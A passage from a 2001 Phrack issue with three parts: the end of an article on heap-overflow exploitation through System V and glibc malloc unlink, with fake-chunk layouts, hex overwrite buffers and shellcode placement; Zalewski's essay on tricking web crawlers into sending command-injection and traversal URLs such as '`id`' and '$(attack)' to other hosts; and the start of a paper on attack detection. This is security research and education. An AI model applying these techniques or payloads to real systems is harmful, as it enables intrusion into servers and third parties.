One important part is that the overflowed chunk must not be the last chunk
within the malloc space, condition:
1. Overflowed chunk must not be the last chunk
Here is how the 't_delete' function works:
static void
t_delete(TREE *op)
{
TREE *tp, *sp, *gp;
/* if this is a non-tree node */
if (ISNOTREE(op)) {
tp = LINKBAK(op);
if ((sp = LINKFOR(op)) != NULL)
LINKBAK(sp) = tp;
LINKFOR(tp) = sp;
return;
}
There are other cases, but this is the one easiest to exploit. As I am
already tired of this, I will just explain this one here. The others are
very similar (look at malloc.c).
ISNOTREE compares the 't_l' element of the TREE structure with -1. -1 is
the special marker for non-tree nodes, which are used as doubly linked list,
but that does not matter.
Anyway, this is the first condition we have to obey:
2. fake->t_l = -1;
Now the unlinking between FOR (t_n) and BAK (t_p) is done, which can be
rewritten as:
t1 = fake->t_p
t2 = fake->t_n
t2->t_p = t1
t1->t_n = t2
Which is (written in pseudo-raw-assignments which happen at the same time):
[t_n + (1 * sizeof (WORD))] = t_p
[t_p + (4 * sizeof (WORD))] = t_n
This way we can write to arbitrary addresses together with valid
addresses at the same time. We choose to use this:
t_p = retloc - 4 * sizeof (WORD)
t_n = retaddr
This way retloc will be overwritten with retaddr and *(retaddr + 8) will be
overwritten with retloc. If there is code at retaddr, there should be a
small jump over the bytes 8-11 to not execute this address as code. Also,
the addresses can be swapped if that fits the situation better.
Finally our overwrite buffer looks like this:
| <t_s> <t_p> <t_l> <j: t_r> <t_n> <j: t_d>
|
chunk boundary
Where: t_s = some small size with lower two bits zeroed out
t_p = retloc - 4 * sizeof (WORD)
t_l = -1
t_r = junk
t_n = retaddr
t_d = junk
Note that although all of the data is stored as 32 bit pointers, each
structure element occupies eight bytes. This is because of the WORD
union, which forces at least ALIGN bytes to be used for each element.
ALIGN is defined to eight by default.
So a real overflow buffer behind the chunk boundary might look like:
ff ff ff f0 41 41 41 41 ef ff fc e0 41 41 41 41 | ....AAAA....AAAA
ff ff ff ff 41 41 41 41 41 41 41 41 41 41 41 41 | ....AAAAAAAAAAAA
ef ff fc a8 41 41 41 41 41 41 41 41 41 41 41 41 | ....AAAAAAAAAAAA
All 'A' characters can be set arbitrarily. The 't_s' element has been
replaced with a small negative number to avoid NUL bytes. If you want to use
NUL bytes, use very few. Otherwise the realfree function will crash later.
The buffer above will overwrite:
[0xeffffce0 + 32] = 0xeffffca8
[0xeffffca8 + 8] = 0xeffffce0
See the example code (mxp.c) for a more in-depth explanation.
To summarize down the guts if you happen to exploit a malloc based buffer
overflow on IRIX or Solaris:
1. Create a fake chunk behind the one you overflow
2. The fake chunk is merged with the one you overflow as it is
passed to realfree
3. To make it pass to realfree it has to call malloc() again or
there have to be a lot of successive free() calls
4. The overflowed chunk must not be the last chunk (the one before
Bottom)
5. Prepend the shellcode/nop-space with jump-aheads to not execute
the unavoidable unlink-overwrite address as code
6. Using the t_splay routines attacks like this are possible too, so
if you cannot use the attack described here (say you cannot
write 0xff bytes), use the source luke.
There are a lot of other ways to exploit System V malloc management, way
more than there are available in the GNU implementation. This is a result
of the dynamic tree structure, which also makes it difficult to understand
sometimes. If you have read until here, I am sure you can find your own
ways to exploit malloc based buffer overflows.
GNU C Library implementation
============================
The GNU C library keeps the information about the memory slices the
application requests in so called 'chunks'. They look like this (adapted
from malloc.c):
+----------------------------------+
chunk -> | prev_size |
+----------------------------------+
| size |
+----------------------------------+
mem -> | data |
: ... :
+----------------------------------+
nextchunk -> | prev_size ... |
: :
Where mem is the pointer you get as return value from malloc(). So if you
do a:
unsigned char * mem = malloc (16);
Then 'mem' is equal to the pointer in the figure, and (mem - 8) would be
equal to the 'chunk' pointer.
The 'prev_size' element has a special function: If the chunk before the
current one is unused (it was free'd), it contains the length of the chunk
before. In the other case - the chunk before the current one is used -
'prev_size' is part of the 'data' of it, saving four bytes.
The 'size' field has a special meaning. As you would expect, it contains
the length of the current block of memory, the data section. As you call
malloc(), four is added to the size you pass to it and afterwards the size
is padded up to the next double-word boundary. So a malloc(7) will become a
malloc(16), and a malloc(20) will become malloc(32). For malloc(0) it will
be padded to malloc(8). The reason for this behaviour will be explained in
the latter.
Since this padding implies that the lower three bits are always zero and
are not used for real length, they are used another way. They are used to
indicate special attributes of the chunk. The lowest bit, called
PREV_INUSE, indicates whether the previous chunk is used or not. It is set
if the next chunk is in use. The second least significant bit is set if the
memory area is mmap'ed -- a special case which we will not consider. The
third least significant bit is unused.
To test whether the current chunk is in use or not, we have to check the
next chunk's PREV_INUSE bit within its size value.
Once we free() the chunk, using free(mem), some checks take place and the
memory is released. If its neighbour blocks are free, too (checked using
the PREV_INUSE flag), they will be merged to keep the number of reuseable
blocks low, but their sizes as large as possible. If a merge is not
possible, the next chunk is tagged with a cleared PREV_INUSE bit, and the
chunk changes a bit:
+----------------------------------+
chunk -> | prev_size |
+----------------------------------+
| size |
+----------------------------------+
mem -> | fd |
+----------------------------------+
| bk |
+----------------------------------+
| (old memory, can be zero bytes) |
: :
nextchunk -> | prev_size ... |
: :
You can see that there are two new values, where our data was previously
stored (at the 'mem' pointer). Those two values, called 'fd' and 'bk' -
forward and backward, that is, are pointers. They point into a double
linked list of unconsolidated blocks of free memory. Every time a new free
is issued, the list will be checked, and possibly unconsolidated blocks
are merged. The whole memory gets defragmented from time to time to release
some memory.
Since the malloc size is always at least 8 bytes, there is enough space for
both pointers. If there is old data remaining behind the 'bk' pointer, it
remains unused until it gets malloc'd again.
The interesting thing regarding this management, is that the whole internal
information is held in-band -- a clear channeling problem.
(just as with format string commands within the string itself, as control
channels in breakable phonelines, as return addresses within stack memory,
etc).
Since we can overwrite this internal management information if we can
overwrite a malloced area, we should take a look at how it is processed
later on. As every malloc'ed area is free()'d again in any sane program,
we take a look at free, which is a wrapper to chunk_free() within malloc.c
(simplified a bit, took out #ifdef's):
static void
chunk_free(arena *ar_ptr, mchunkptr p)
{
size_t hd = p->size; /* its head field */
size_t sz; /* its size */
int idx; /* its bin index */
mchunkptr next; /* next contiguous chunk */
size_t nextsz; /* its size */
size_t prevsz; /* size of previous contiguous chunk */
mchunkptr bck; /* misc temp for linking */
mchunkptr fwd; /* misc temp for linking */
int islr; /* track whether merging with last_remainder */
check_inuse_chunk(ar_ptr, p);
sz = hd & ~PREV_INUSE;
next = chunk_at_offset(p, sz);
nextsz = chunksize(next);
Since the malloc management keeps chunks within special structures called
'arenas', it is now tested whether the current chunk that should be free
directly borders to the 'top' chunk -- a special chunk. The 'top' chunk is
always the top-most available memory chunk within an arena, it is the border
of the available memory. The whole if-block is not interesting for typical
buffer overflows within the malloc space.
if (next == top(ar_ptr)) /* merge with top */
{
sz += nextsz;
if (!(hd & PREV_INUSE)) /* consolidate backward */
{
prevsz = p->prev_size;
p = chunk_at_offset(p, -(long)prevsz);
sz += prevsz;
unlink(p, bck, fwd);
}
set_head(p, sz | PREV_INUSE);
top(ar_ptr) = p;
if ((unsigned long)(sz) >= (unsigned long)trim_threshold)
main_trim(top_pad);
return;
}
Now the 'size' of the current chunk is tested whether the previous chunk is
unused (testing for the PREV_INUSE flag). If this is the case, both chunks
are merged.
islr = 0;
if (!(hd & PREV_INUSE)) /* consolidate backward */
{
prevsz = p->prev_size;
p = chunk_at_offset(p, -(long)prevsz);
sz += prevsz;
if (p->fd == last_remainder(ar_ptr)) /* keep as last_remainder */
islr = 1;
else
unlink(p, bck, fwd);
}
Now the same is done vice versa. It is checked whether the chunk in front
of the current chunk is free (testing for the PREV_INUSE flag of the size
two chunks ahead). If this is the case the chunk is also merged into the
current one.
if (!(inuse_bit_at_offset(next, nextsz))) /* consolidate forward */
{
sz += nextsz;
if (!islr && next->fd == last_remainder(ar_ptr))
/* re-insert last_remainder */
{
islr = 1;
link_last_remainder(ar_ptr, p);
}
else
unlink(next, bck, fwd);
next = chunk_at_offset(p, sz);
}
else
set_head(next, nextsz); /* clear inuse bit */
set_head(p, sz | PREV_INUSE);
next->prev_size = sz;
if (!islr)
frontlink(ar_ptr, p, sz, idx, bck, fwd);
}
As Solar Designer showed us, it is possible to use the 'unlink' macro to
overwrite arbitrary memory locations. Here is how to do:
A usual buffer overflow situation might look like:
mem = malloc (24);
gets (mem);
...
free (mem);
This way the malloc'ed chunk looks like this:
[ prev_size ] [ size P] [ 24 bytes ... ] (next chunk from now)
[ prev_size ] [ size P] [ fd ] [ bk ] or [ data ... ]
As you can see, the next chunk directly borders to our chunk we overflow.
We can overwrite anything behind the data region of our chunk, including
the header of the following chunk.
If we take a closer look at the end of the chunk_free function, we see this
code:
if (!(inuse_bit_at_offset(next, nextsz))) /* consolidate forward */
{
sz += nextsz;
if (!islr && next->fd == last_remainder(ar_ptr))
/* re-insert last_remainder */
{
islr = 1;
link_last_remainder(ar_ptr, p);
}
else
unlink(next, bck, fwd);
next = chunk_at_offset(p, sz);
}
The inuse_bit_at_offset, is defined as macro in the beginning of malloc.c:
#define inuse_bit_at_offset(p, s)\
(((mchunkptr)(((char*)(p)) + (s)))->size & PREV_INUSE)
Since we control the header of the 'next' chunk we can trigger the whole if
block at will. The inner if statement is uninteresting, except our chunk is
bordering to the top-most chunk. So if we choose to trigger the outer if
statement, we will call unlink, which is defined as macro, too:
#define unlink(P, BK, FD) \
{ \
BK = P->bk; \
FD = P->fd; \
FD->bk = BK; \
BK->fd = FD; \
}
The unlink is called with a pointer to a free chunk and two temporary
pointer variables, called bck and fwd. It does this to the 'next' chunk
header:
*(next->fd + 12) = next->bk
*(next->bk + 8) = next->fd
They are not swapped, but the 'fd' and 'bk' pointers point to other chunks.
This two chunks being pointed to are linked, zapping the current chunk from
the table.
So to exploit a malloc based buffer overflow, we have to write a bogus
header in the following chunk and then wait for our chunk getting free'd.
[buffer .... ] | [ prev_size ] [ size ] [ fd ] [ bk ]
'|' is the chunk boundary.
The values we set for 'prev_size' and 'size' do not matter, but two
conditions have to be met, in case it should work:
a) the least significant bit of 'size' has to be zero
b) both, 'prev_size' and 'size' should be add-safe to a pointer that is
read from. So either use very small values up to a few thousand, or -
to avoid NUL bytes - use big values such as 0xfffffffc.
c) you have to ensure that at (chunk_boundary + size + 4) the lowest bit
is zeroed out (0xfffffffc will work just fine)
'fd' and 'bk' can be set this way (as used in Solar Designers Netscape
Exploit):
fd = retloc - 12
bk = retaddr
But beware, that (retaddr + 8) is being written to and the content there
will be destroyed. You can circumvent this by a simple '\xeb\x0c' at
retaddr, which will jump twelve bytes ahead, over the destroyed content.
Well, however, exploitation is pretty straight forward now:
<jmp-ahead, 2> <6> <4 bogus> <nop> <shellcode> |
\xff\xff\xff\xfc \xff\xff\xff\xfc <retloc - 12> <retaddr>
Where '|' is the chunk boundary (from that point we overflow). Now, the
next two negative numbers are just to survive a few checks in free() and to
avoid NUL bytes. Then we store (retloc - 12) properly encoded and then the
return address, which will return to the 'jmp-ahead'. The buffer before the
'|' is the same as with any x86 exploit, except for the first 12 bytes,
because we have to take care of the extra write operation by the unlink
macro.
Off-by-one / Off-by-five
------------------------
It is possible to overwrite arbitrary pointers, even in cases where you can
overwrite only five bytes, or - in special cases - only one byte. When
overwriting five bytes the memory layout has to look like:
[chunk a] [chunk b]
Where chunk a is under your control and overflowable. Chunk b is already
allocated as the overflow happens. By overwriting the first five bytes of
chunk b, we trash the 'prev_size' element of the chunks header and the
least significant byte of the 'size' element. Now, as chunk b is free()'d,
backward consolidation pops in, since 'size' has the PREV_INUSE flag
cleared (see below). If we supply a small value for 'prev_size', which is
smaller than the size of chunk a, we create a fake chunk structure:
[chunk a ... fakechunk ...] [chunk b]
|
p
Where prev_size of chunk b points relativly negative to the fake chunk.
The code which is exploitable through this setting was already discussed:
if (!(hd & PREV_INUSE)) /* consolidate backward */
{
prevsz = p->prev_size;
p = chunk_at_offset(p, -(long)prevsz);
sz += prevsz;
if (p->fd == last_remainder(ar_ptr)) /* keep as last_remainder */
islr = 1;
else
unlink(p, bck, fwd);
}
'hd' is the size element of chunk b. When we overwrite it, we clear out the
lower two bits, so PREV_INUSE is cleared and the if condition is matched
(NUL will do it in fact). In the next few instructions 'p', which was a
pointer to chunk b originally, is relocated to our fakechunk. Then the
unlink macro is called and we can overwrite the pointers as usual. We use
backward consolidation now, while in the previous description we have used
forward consolidation. Is this all confusing? Well, when exploiting malloc
overflows, do not worry about the details, they will become clearer as you
understand the malloc functions from a broader scope.
For a really well done overview and description of the malloc
implementation in the GNU C Library, take a look at the GNU C Library
reference manual [3]. It makes a good read for non-malloc related things,
too.
Possible obstacles and how to get over with them
================================================
As with any new exploitation technique people will show up which have the
'perfect' solution to the problem in their head or in form of a patch to
the malloc functions. Those people - often ones who have never written
an exploit themselves - are misleading into a wrong sense of security and I
want to leave a few words about those approaches and why they seldomly work.
There are three host based stages where you can stop a buffer overflow
resulting in a compromise:
1. The bug/overflow stage
This is the place where the real overflow happens, where data is
overwritten. If this place is known, the origin of the problem can be fixed
(at source level). However, most approaches argue that this place is not
known and therefore the problem cannot be fixed yet.
2. The activation stage
After the overflow happened parts of the data of the application are
corrupted. It does not matter what kind of data, whether it is a stack
frame, a malloc management record or static data behind a buffer. The
process is still running its own path of code, the overwritten data is
still passive. This stage is everything after the overflow itself and
before the seize of execution control. This is where the natural,
non-artificially introduced hurdles for the attacker lies, code which must
be passed in a certain way.
3. The seized stage
This is everything after control has been redirected from its original
path of execution. This is the stage where nopspace and shellcode is
executed, where no real exploitation hurdles are left.
Now for the protection systems. Most of the "non-exec stack" and "non-exec
heap" patches try to catch the switch from stage two to three, where
execution is seized, while some proprietary systems check for the origin of
a system call from within kernel space. They do not forbid you to run code
this way, they try to limit what code can be run.
Those systems which allow you to redirect execution in the first place are
fundamentally flawed. They try to limit the exploitation in a black-listing
way, by trying to plug the places you may want to go to. But if you can
execute legal code within the process space its almost everytime enough to
compromise the process as a whole.
Now for the more challenging protections, which try to gripe you in stage
two. Those include - among others - libsafe, StackGuard, FormatGuard, and
any compiler or library based patches. They usually require a recompilation
or relinking of your existing code, to insert their security 'measures'
into your code. This includes canary values, barriers of check bytes or
reordering and extensive checking of sanity before doing things which might
be bad. While sanity checking in general is a good policy for security, it
cannot fix stuff that was broken before. Every of those protections is
assuming a certain situation of a bug which might appear in your program
and try to predict the results of an attacker abusing the bug. They setup
traps which they assume you will or have to trigger to exploit the bug.
This is done before your control is active, so you cannot influence it
much except by choosing the input data. Those are, of course much more
tight than protection systems which only monitor stage three, but still
there are ways around them. A couple of ways have been discussed in the
past, so I will not go into depth here. Rather, I will briefly address on a
protection which I already see on the horizon under a name like
'MallocGuard'.
Such a protection would not change the mechanism of malloc management
chunks much, since the current code has proved to be effective. The malloc
function plays a key role in overall system performance, so you cannot
tweak freely here. Such a protection can only introduce a few extra checks,
it cannot verify the entire consistency everytime malloc() is called. And
this is where it is flawed: Once you seize control over one malloc chunk
information, you can seize control over other chunks too. Because chunks
are 'walked' by using either stored pointers (SysV) or stored lengths
(GlibC), it is possible to 'create' new chunks. Since a sanity check would
have to assume inconsistency of all chunks in the worst case, it would have
to check all chunks by walking them. But this would eat up too much
performance, so its impossible to check for malloc overflows easily while
still keep a good performance. So, there will be no 'MallocGuard', or it
will be a useless guard, in the tradition of useless pseudo protections. As
a friend puts it - 'for every protection there is an anti-protection'.
Thanks
======
I would like to thank all proofreaders and correctors. For some really
needed corrections I thank MaXX, who wrote the more detailed article about
GNU C Library malloc in this issue of Phrack, kudos to him ! :)
References
==========
[1] Solar Designer,
http://www.openwall.com/advisories/OW-002-netscape-jpeg.txt
[2] DD Sleator, RE Tarjan, "Self-Adjusting Binary Trees", 1985,
http://www.acm.org/pubs/citations/journals/jacm/1985-32-3/p652-sleator/
http://www.math.tau.ac.il/~haimk/adv-ds-2000/sleator-tarjan-splay.pdf
[3] The GNU C Library
http://www.gnu.org/manual/glibc-2.2.3/html_node/libc_toc.html
[4] Solaris 8 Foundation Source Program
http://www.sun.com/software/solaris/source/
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x39, Phile #0x0a of 0x12
|=-------------=[ Against the System: Rise of the Robots ]=--------------=|
|=-----------------------------------------------------------------------=|
|=-=[ (C)Copyright 2001 by Michal Zalewski <lcamtuf@bos.bindview.com> ]=-=|
-- [1] Introduction -------------------------------------------------------
"[...] big difference between the web and traditional well controlled
collections is that there is virtually no control over what people can
put on the web. Couple this flexibility to publish anything with the
enormous influence of search engines to route traffic and companies
which deliberately manipulating search engines for profit become a
serious problem."
-- Sergey Brin, Lawrence Page (see references, [A])
Consider a remote exploit that is able to compromise a remote system
without sending any attack code to his victim. Consider an exploit
which simply creates local file to compromise thousands of computers,
and which does not involve any local resources in the attack. Welcome to
the world of zero-effort exploit techniques. Welcome to the world of
automation, welcome to the world of anonymous, dramatically difficult
to stop attacks resulting from increasing Internet complexity.
Zero-effort exploits create their 'wishlist', and leave it somewhere
in cyberspace - can be even its home host, in the place where others
can find it. Others - Internet workers (see references, [D]) - hundreds
of never sleeping, endlessly browsing information crawlers, intelligent
agents, search engines... They come to pick this information, and -
unknowingly - to attack victims. You can stop one of them, but can't
stop them all. You can find out what their orders are, but you can't
guess what these orders will be tomorrow, hidden somewhere in the abyss
of not yet explored cyberspace.
Your private army, close at hand, picking orders you left for them
on their way. You exploit them without having to compromise them. They
do what they are designed for, and they do their best to accomplish it.
Welcome to the new reality, where our A.I. machines can rise against us.
Consider a worm. Consider a worm which does nothing. It is carried and
injected by others - but not by infecting them. This worm creates a
wishlist - wishlist of, for example, 10,000 random addresses. And waits.
Intelligent agents pick this list, with their united forces they try to
attack all of them. Imagine they are not lucky, with 0.1% success ratio.
Ten new hosts infected. On every of them, the worm does extactly the
same - and agents come back, to infect 100 hosts. The story goes - or
crawls, if you prefer.
Agents work virtually invisibly, people get used to their presence
everywhere. And crawlers just slowly go ahead, in never-ending loop.
They work systematically, they do not choke with excessive data - they
crawl, there's no "boom" effect. Week after week after week, they try
new hosts, carefully, not overloading network uplinks, not generating
suspected traffic, recurrent exploration never ends. Can you notice
they carry a worm? Possibly...
-- [2] An example ---------------------------------------------------------
When this idea came to my mind, I tried to use the simpliest test, just
to see if I am right. I targeted, if that's the right word, general-purpose
web indexing crawlers. I created very short HTML document and put it
somewhere. And waited few weeks. And then they come. Altavista, Lycos
and dozens of others. They found new links and picked them
enthusiastically, then disappeared for days.
bigip1-snat.sv.av.com:
GET /indexme.html HTTP/1.0
sjc-fe5-1.sjc.lycos.com:
GET /indexme.html HTTP/1.0
[...]
They came back later, to see what I gave them to parse.
http://somehost/cgi-bin/script.pl?p1=../../../../attack
http://somehost/cgi-bin/script.pl?p1=;attack
http://somehost/cgi-bin/script.pl?p1=|attack
http://somehost/cgi-bin/script.pl?p1=`attack`
http://somehost/cgi-bin/script.pl?p1=$(attack)
http://somehost:54321/attack?`id`
http://somehost/AAAAAAAAAAAAAAAAAAAAA...
Our bots followed them exploiting hypotetical vulnerabilities,
compromising remote servers:
sjc-fe6-1.sjc.lycos.com:
GET /cgi-bin/script.pl?p1=;attack HTTP/1.0
212.135.14.10:
GET /cgi-bin/script.pl?p1=$(attack) HTTP/1.0
bigip1-snat.sv.av.com:
GET /cgi-bin/script.pl?p1=../../../../attack HTTP/1.0
[...]
(BigIP is one of famous "I observe you" load balancers from F5Labs)
Bots happily connected to non-http ports I prepared for them:
GET /attack?`id` HTTP/1.0
Host: somehost
Pragma: no-cache
Accept: text/*
User-Agent: Scooter/1.0
From: scooter@pa.dec.com
GET /attack?`id` HTTP/1.0
User-agent: Lycos_Spider_(T-Rex)
From: spider@lycos.com
Accept: */*
Connection: close
Host: somehost:54321
GET /attack?`id` HTTP/1.0
Host: somehost:54321
From: crawler@fast.no
Accept: */*
User-Agent: FAST-WebCrawler/2.2.6 (crawler@fast.no; [...])
Connection: close
[...]
But not only publicly available crawlbot engines can be targeted.
Crawlbots from alexa.com, ecn.purdue.edu, visual.com, poly.edu,
inria.fr, powerinter.net, xyleme.com, and even more unidentified
crawl engines found this page and enjoyed it. Some robots didn't
pick all URLs. For example, some crawlers do not index scripts
at all, others won't use non-standard ports. But majority of
the most powerful bots will do - and even if not, trivial filtering
is not the answer. Many IIS vulnerabilities and so on can be triggered
without invoking any scripts.
What if this server list was randomly generated, 10,000 IPs or 10,000
.com domains? What is script.pl is replaced with invocations of
three, four, five or ten most popular IIS vulnerabilities or
buggy Unix scripts? What if one out of 2,000 is actually exploited?
What if somehost:54321 points to vulnerable service which can
be exploited with partially user-dependent contents of HTTP
requests (I consider majority of fool-proof services that do not
drop connections after first invalid command vulnerable)? What if...
There is an army of robots, different species, different functions,
different levels of intelligence. And these robots will do whatever
you tell them to do. It is scary.
-- [3] Social considerations ----------------------------------------------
Who is guilty if webcrawler compromises your system? The most obvious
answer is: the author of original webpage crawler visited. But webpage
authors are hard to trace, and web crawler indexing cycle takes
weeks. It is hard to determine when specific page was put on the net
- they can be delivered in so many ways, processed by other robots
earlier; there is no tracking mechanism we can find in SMTP protocol and
many others. Moreover, many crawlers don't remember where they "learned"
new URLs. Additional problems are caused by indexing flags, like "noindex"
without "nofollow" option. In many cases, author's identity and attack
origin wouldn't be determined, while compromises would take place.
And, finally, what if having particular link followed by bots wasn't
what the author meant? Consider "educational" papers, etc - bots won't
read the disclaimer and big fat warning "DO NOT TRY THESE LINKS"...
By analogy to other cases, e.g. Napster forced to filter their contents
(or shutdown their services) because of copyrighted information exchanged
by their users, causing losses, it is reasonable to expect that
intelligent bot developers would be forced to implement specific filters,
or to pay enormous compensations to victims suffering because of bot
abuse.
On the other hand, it seems almost impossible to successfully filter
contents to elliminate malicious code, if you consider the number and
wide variety of known vulnerabilities. Not to mention targeted attacks
(see references, [B], for more information on proprietary solutions and
their insecuritities). So the problem persists. Additional issue is that
not all crawler bots are under U.S. jurisdiction, which makes whole
problem more complicated (in many countries, U.S. approach is found at
least controversial).
-- [4] Defense ------------------------------------------------------------
As discussed above, webcrawler itself has very limited defense and
avoidance possibilities, due to wide variety of web-based
vulnerabilities. One of more reasonable defense ideas is to use
secure and up-to-date software, but - obviously - this concept is
extremely unpopular for some reasons - www.google.com, with
unique documents filter enabled, returns 62,100 matches for "cgi
vulnerability" query (see also references, [D]).
Another line of defense from bots is using /robots.txt standard
robot exclusion mechanism (see references, [C], for specifications).
The price you have to pay is partial or complete exclusion of your
site from search engines, which, in most cases, is undesired. Also,
some robots are broken, and do not respect /robots.txt when following
a direct link to new website.
-- [5] References ---------------------------------------------------------
[A] "The Anatomy of a Large-Scale Hypertextual Web Search Engine"
Googlebot concept, Sergey Brin, Lawrence Page, Stanford University
URL: http://www7.scu.edu.au/programme/fullpapers/1921/com1921.htm
[B] Proprietary web solutions security, Michal Zalewski
URL: http://lcamtuf.coredump.cx/milpap.txt
[C] "A Standard for Robot Exclusion", Martijn Koster
URL: http://info.webcrawler.com/mak/projects/robots/norobots.html
[D] "The Web Robots Database"
URL: http://www.robotstxt.org/wc/active.html
URL: http://www.robotstxt.org/wc/active/html/type.html
[E] "Web Security FAQ", Lincoln D. Stein
URL: http://www.w3.org/Security/Faq/www-security-faq.html
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x39, Phile #0x0b of 0x12
|=------------=[ HOLISTIC APPROACHES TO ATTACK DETECTION ]=--------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------=[ sasha ]=-------------------------------=|
"The art of writing a beautiful fugue lies precisely in [the] ability to
manufacture several different lines, each one of which gives the illusion of
having been written for its own beauty, and yet which when taken together
form a whole which does not seem forced in any way. Now, this dichotomy
between hearing a fugue as a whole, and hearing its component voices, is a
particular example of a very general dichotomy, which applies to many kinds
of structures built up from lower levels.
A similar analysis could be made of dozens of Escher pictures, which rely
heavily upon the recognition of certain basic forms, which are then put
together in nonstandard ways; and by the time the observer sees the
paradox on a high level, it is too late - he can't go back and change his
mind about how to interpret the lower-level objects."
- Douglas R. Hofstadter [Hofstadter, 1979].
"Oddly enough, one of the things that got me started was a joke, the title of
a book by Douglas Adams - Dirk Gently's Holistic Detective Agency. And I
thought, that's an interesting phrase - what would it mean to solve a crime
holistically? It would mean that you'd have to 'solve' not just the crime,
but the whole world in which the crime took place."
- Alan Moore [Moore, 2000].
----| 1. Introduction
This article concerns various approaches to the problem of detecting attacks.
Specifically, we are interested in enterprise environments in which weaknesses
in traditional security monitoring methods become apparent.
Holistic methods are proposed as a partial solution to some of the shortcomings
in traditional reductionist approaches.
Existing research literature will be reviewed, an example enterprise security
monitoring architecture that employs a holistic approach is described, and
some predictions regarding the future of security monitoring are made in the
concluding section.
----| 2. Problem Space
Modern enterprise networks generate a vast amount of real-time environmental
data relating to security status, system status, network status, application
status, and so on. Network management technologies and architectures have
evolved over time to solve the problems inherent in processing large amounts of
event data: event correlation, event reduction, and root-cause analysis are
all employed. Security monitoring technologies and architectures however, have
not yet matured to the same extent. Most, if not all, security monitoring
technologies focus on reporting low-level events (such as observed attacks) in
as much detail as possible. That approach is useful in a small environment but
fails in an enterprise environment for the following reasons:
* The contextual information surrounding the detection of events might not
be available due to the rate of change in the network and the possible
geographic separation of event generators and management consoles.
* The "signal-to-noise" ratio is much higher in an enterprise environment
due to the large number of event generators.
* The people performing monitoring may not have the privilege or mandate
to connect to machines to investigate possible incidents, therefore they
must rely purely on the event data available to them.
Current security monitoring technologies are difficult to scale for the above
reasons and are therefore difficult to deploy and use in an enterprise
environment.
Traditional approaches to attack detection focus exclusively on analysis based
on reductionism. This article advocates a holistic approach that can work in
conjunction with traditional reductionist methods and add additional value.
These terms are now described below.
----| 3. Reductionism and Holism
Traditional security monitoring technologies such as network and host based IDS
(Intrusion Detection Systems) and host based integrity checkers, operate on a
reductionist basis. The reductionist approach is based on the belief that a
whole can be largely understood by examining its constituent parts; i.e. it is
possible to infer the existence of an attack if a specific observation can be
made. Such tools attempt to detect unauthorized change(s) or to match current
activity against known indicators of misuse.
Alongside the reductionist approach is the holistic approach. Holism is based
on the belief that a whole is greater than the sum of its parts; i.e. it is
possible to infer the existence of an attack if a set of observations (that
are perhaps superficially unrelated) can be approximately matched to a
structure that represents knowledge of the methods that attacks employ at a
high(er) level.
Another way to describe this distinction is as follows: reductionist methods
reason by induction - they reason from particular observations to generate
supposed truths. Holistic methods do the reverse - they start with general
knowledge and predict a specific set of observations. In reality, the solution
of complex problems is best achieved by long strings of mixed inductive and
deductive inferences that weave back and forth between observations and
internal models.
----| 4. Epiphenomena and the Connection Chain Problem
The following quote is from [Hofstadter, 1979] -
"I would like to relate a story about a complex system. I was talking one
day with two systems programmers for the computer I was using. They
mentioned that the operating system seemed to be able to handle up to about
thirty-five users with great comfort, but at about thirty five users or so,
the response time all of a sudden shot up, getting so slow that you might as
well log off and go home and wait until later. Jokingly, I said, "Well,
that's simple to fix - just find the place in the operating system where the
number '35' is stored, and change it to '60'!". Everyone laughed. The
point is, of course, that there is no such place. Where, then, does the
critical number - 35 users - come from?. The answer is: it is a visible
consequence of the overall system organization - an 'Epiphenomemon'.
Similarly, you might ask about a sprinter, "Where is the '9.3' stored, that
makes him be able to run 100 yards in 9.3 seconds?". Obviously, it is not
stored anywhere. His time is a result of how he is built, what his
reaction time is, a million factors all interacting when he runs. The time
is quite reproducible, but it is not stored in his body anywhere. It is
spread around among all of the cells of his body and only manifests itself
in the act of the sprint itself."
The two examples above illustrate the sort of thinking that gives rise to
holistic solutions. If we concede that an event that occurs in a security
monitoring architecture can often only acquire significance when viewed in the
context of other activity, then we can theorize that it is possible to detect
the presence of an attack by looking for epiphenomenon that occur as the
by-product of attacks. This approach has been taken to the connection chain
problem.
To explain the connection chain problem it is necessary to first introduce
some terminology. When an individual (or a program) connects to one computer,
and from there connects to another computer, and another, that is referred to
as a "connection chain".
The ability to detect a connection chain is advantageous - since it is the
traditional mechanism used by attackers to attempt to obfuscate their "real"
(i.e. initial) location.
In [Staniford-Chen, 1995] a system is described that can thumbprint a
connection chain by monitoring the content of connections.
This is achieved by forming a signature for the data in a network connection.
This signature is a small quantity which does not allow complete reconstruction
of the data, but does allow comparison with signatures of other connections to
determine with reasonable confidence whether the underlying connection is the
same or not.
The specific technology developed to perform this task is called local
thumbprinting. This involves forming linear combinations of the frequencies
with which different characters occur in the network data sampled. The optimal
linear combinations are chosen using a statistical methodology called principle
component analysis which is shown to work successfully when given at least a
minute and a half of a reasonably active network connection.
Thumbprinting relies on the fact that the content of an extended connection is
invariant at all points of the chain (once protocol details are abstracted
out). Thus, if the system can compute thumbprints of the content of each
connection, these thumbprints can then be compared to establish whether two
connections have the same content.
A weakness in this method is that disguising the content of the extended
connection (such as encrypting it differently on each link of the chain) can
circumvent the technology.
In [Zhang et al., 2000] the connection chain problem is approached by employing
methods that do not rely on packet contents - by leveraging the distinct
properties of interactive network traffic (smaller packet sizes and longer idle
periods for interactive traffic than for machine generated traffic) to develop
an algorithm.
These examples shows that it is possible to detect attacks in a way that does
not rely on the detection of individual attack techniques.
----| 5. Attack-Strategy Based Intrusion Detection
Another advantage to holistic methods that work on a "higher" layer of
inference than reductionist methods is in the area of attack strategy analysis.
In [Huang et al., 2000], an IDS framework is described that can perform
"intention analysis". Intention analysis takes the form of "If A occurs, then
B occurs, we can predict that C will occur".
The suggested implementation mechanism in the paper is to employ a goal-tree
with the root node the ultimate goal of an attack. Lower level nodes represent
alternatives or ordered sub-goals in achieving the upper node / goal. Leaves
(end nodes) are sub-goals that can be substantiated using events that can be
identified in the environment using monitoring.
The addition of a temporal aspect to the model enables the model to "predict"
likely future steps in an attack as an attacker attempts to climb logically
higher in the goal-tree.
This example shows the significant extra value that can be provided by
"stepping back" and analyzing event data at a higher layer. The reductionist
tendency is to step forwards and look into activity in detail; the holistic
tendency is to step backwards and look at activity only in the context of other
activity.
Of course, a holistic model still relys on data gathered from the environment
